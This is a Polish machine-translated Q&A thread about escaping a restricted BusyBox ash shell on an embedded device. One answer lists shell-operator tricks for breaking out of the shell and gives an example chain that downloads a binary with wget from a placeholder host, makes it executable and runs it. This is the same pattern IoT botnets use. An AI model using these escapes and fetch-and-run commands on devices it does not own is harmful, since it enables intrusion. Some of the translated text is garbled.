Ograniczona powłoka BusyBox

Testuję jakieś urządzenie wbudowane i brakuje dokumentacji. Kiedy telnet do urządzenia, otrzymuję tylko ograniczoną powłokę.

BusyBox v1.19.2 (built-in shell (ash) Enter "help" for a list of built-in commands. # help Built-in commands: ------------------ . : [ [[ bg break cd chdir continue echo eval exec exit export false fg getopts hash help jobs kill local printf pwd read readonly return set shift source test times trap true type ulimit umask unset wait 

To jest ograniczona powłoka, niejasna, jak dostać się do pełnej powłoki?

Odpowiedź

  • Polecenie, którego potrzebujesz, to chsh (zmień powłokę) – jest to część shadow lub shadow-utils pakiet.
  • Możesz również ręcznie edytować /etc/password, aby zmienić powłokę z /bin/ash do czegoś innego:

    BUT => uważaj, czy nowa powłoka istnieje, bo inaczej zablokujesz wyjdź !!!


Musisz być root, aby wykonać jedno z powyższych.

Odpowiedź

BusyBox koncentruje się głównie na optymalizacji rozmiaru, a polecenia mogą być exc luded / włączone w czasie kompilacji. Tak więc bez podawania dodatkowych informacji wydaje się, że jest to bardzo ograniczony zestaw zainstalowanych komponentów .

Jednak powinno być jasne, że nie oznacza to, że oprogramowanie sprzętowe urządzenia nie obsługuje określonych narzędzi jako takich. Jeśli nie jest to całkowicie jasne, należy zapoznać się z sekcją FAQ – Co to jest Busybox . Niektóre cytaty powinny to jasno wyjaśniać:

„Czy mogę włączyć FTP?” – „Nie wiemy”, czy oprogramowanie sprzętowe Foomatic-9000 zawiera plik binarny Busybox z włączonym apletem ftpd. (Jeśli masz dostęp do znaku zachęty powłoki, spróbuj uruchomić „busybox ftpd –help”). Jeśli tak, prawdopodobnie będziesz w stanie go włączyć. Niestety, nie wiemy, jak oprogramowanie układowe Foomatic-9000 zarządza uruchamianiem i zatrzymywaniem różnych usług (w przypadku, gdy mają już usługę ftpd i jest ona właśnie wyłączona), ani jak utworzyć i włączyć nową usługę na Foomatic-9000 (jeśli są nie). Spróbuj googlować. „

” Czy mogę włączyć SCP? ” – „Busybox-1.23.4 nie ma apletu scp. Jednak Foomatic-9000 może mieć zainstalowany scp (powiedzmy, jeśli ma zainstalowany dropbear) i być może będzie można go włączyć. Jeśli nie, możliwe będzie zbudowanie i zainstaluj własne narzędzie scp. Spróbuj google. „

Prawdopodobnie powinieneś bardziej skupić się na konkretnym urządzeniu i zainstalowanym oprogramowaniu, niż na ograniczonym zestaw komponentów powiązanych z samym Busybox.

Komentarze

  • ok, zapomniałem polecenia cli.

Odpowiedź

Niestety, obecnie większość urządzeń wbudowanych (np. routery, urządzenia IoT itp.) próbuje uniemożliwić użytkownikom dostęp do systemu wewnętrznego, aby mogli „Nie hakuj ani nie modyfikuj go. Jest to środek zapobiegający działaniu botnetów takich jak mirai, chociaż zabezpieczenia nie zawsze są bardzo skuteczne.

Ograniczona powłoka busybox to bardzo częsty scenariusz. Na szczęście mówiąc w ogólnie rzecz biorąc, busybox wymaga podstawowej powłoki, jeśli istnieje ” każdy rodzaj interfejsu użytkownika (jak telnet lub ssh). Oznacza to, że może być możliwe ominięcie tej powłoki i uruchomienie poleceń na tej powłoce (np. / Bin / sh jest bardzo powszechne).

Przed próbą wyjścia z piaskownicy busybox musisz mieć na koncie następujące:

  • Producent mógł zmodyfikować powłokę busybox, aby załatać te techniki
  • Podstawowa powłoka może być powłoką (pełną lub częściową) nieuprzywilejowaną. Oznacza to, że nawet jeśli uda ci się uruchomić na nim polecenia, mogą one nie działać lub powiedzieć, że nie masz wystarczających uprawnień.
  • Podstawowa powłoka może być również inną powłoką ograniczoną (nie jest powszechna)

Gdy będziesz gotowy, możesz wypróbować następujące „sztuczki”: (Wszystkie polegają na operatorach powłoki)

Spróbuj na przykład

echo "Hello World" & <your command> 

Spowoduje to wykonanie polecenia, jeśli:

  1. Plik binarny jest dostępny (czyli w zasadzie, jeśli jest zainstalowany w systemie)
  2. Powłoka ma do niej dostęp (uprawnienia)

Istnieją inne metody, takie jak:

echo "Hello World" `your command` echo "Hello World" || <your command> 

I inne odmiany możesz znaleźć w Internecie lub spróbować samemu.

EDYCJA: Edytuję, aby dodać przykład, w jaki sposób możesz uciec z powłoki i uzyskać dalsze wykonanie.

echo "Hello World" & wget yourweb.com/yourbinary echo "Hello World" & chmod yourbinary echo "Hello World" & ./yourbinary 

lub bezpośrednio ./yourbinary

Taka jest idea. Jeśli chodzi o chmod, przepraszam, ale nie pamiętam dokładnych argumentów, aby nadać uprawnienia do wykonywania.

EDIT2: Zauważyłem, że twoja powłoka mówi ash, więc prawdopodobnie busybox został uruchomiony z (zautomatyzowanego) skryptu działającego z popiołu. W tym przypadku chciałbyś bezpośrednio uruchamiać polecenia w powłoce / bin / ash.

Dodaj komentarz

Twój adres email nie zostanie opublikowany. Pola, których wypełnienie jest wymagane, są oznaczone symbolem *